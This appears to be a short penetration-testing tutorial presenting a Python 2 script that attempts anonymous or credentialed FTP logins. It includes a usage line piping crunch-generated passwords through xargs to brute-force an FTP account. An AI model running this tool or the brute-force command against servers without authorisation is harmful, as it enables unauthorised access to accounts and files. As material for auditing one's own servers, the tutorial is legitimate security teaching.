As a penetration tester you may need to check your FTP Server(s). One possibilty is brute-force passwords to auditing. This tutorial show you how easy you can use Python to create such a tool.
Precondition
- Python installed
- Crunch installed (Tutorial)
Create Python Script
#!/usr/bin/env python
# -*- coding: utf-8 -*-
import argparse
import ftplib
import socket
import sys
from datetime import datetime
class FtpCrack(object):
def __init__(self, host, username='', password=''):
if not host:
print "[*] Error: no host given"
sys.exit(2)
else:
self.start = datetime.now()
self.host = host
self.username = username
self.password = password
self.ftp = None
def _close_ftp_connection(self):
self.ftp.quit()
print "[*] Close FTP connection after ", datetime.now() - self.start
def _list_ftp_directory(self):
try:
print "[*] List FTP directory content"
self.ftp.dir()
except ftplib.all_errors:
print "[*] ERROR: Cannot list content"
self._close_ftp_connection()
def ftp_connect(self):
try:
self.ftp = ftplib.FTP(self.host)
except (socket.error, socket.gaierror) as err:
print "[*] Cannot connect to %s" % self.host
print "[*] Error %s" % err
sys.exit(2)
print "[*] Connected to %s" % self.host
def _ftp_anonymous_login(self):
try:
self.ftp.login()
except ftplib.error_perm:
print "[*] ERROR: cannot login anonymously"
self._close_ftp_connection()
sys.exit(2)
print "[*] Anonymous login"
self._list_ftp_directory()
def _ftp_credential_login(self):
print "[*] User: %s - Password: %s" % (self.username, self.password)
try:
self.ftp.login(self.username, self.password)
except ftplib.error_perm:
print "[*] ERROR: wrong credentials"
self._close_ftp_connection()
sys.exit(2)
print "[*] Login with credentials"
self._list_ftp_directory()
def ftp_login(self):
if not self.username or not self.password:
self._ftp_anonymous_login()
else:
self._ftp_credential_login()
if __name__ == '__main__':
parser = argparse.ArgumentParser(description='Brute-force FTP')
parser.add_argument('host', help='target host or ip')
parser.add_argument('-u', '--usr', help='login user name')
parser.add_argument('-p', '--pwd', help='login password')
args = parser.parse_args()
RUN = FtpCrack(args.host, args.usr, args.pwd)
RUN.ftp_connect()
RUN.ftp_login()
The code should be clear and self-explanatory.
Usage examples
# show help
$ ./FtpCrack.py -h
# example anonymous ftp
$ ./FtpCrack.py <host>
# example with credentials
$ ./FtpCrack.py <host> -u <user> -p <password>
# example crunch (pipe to password)
$ ./crunch 3 3 abc | xargs -I password ./FtpCrack.py <host> -u <user> -p password
You can extend the code, for example to read the content from wordlists.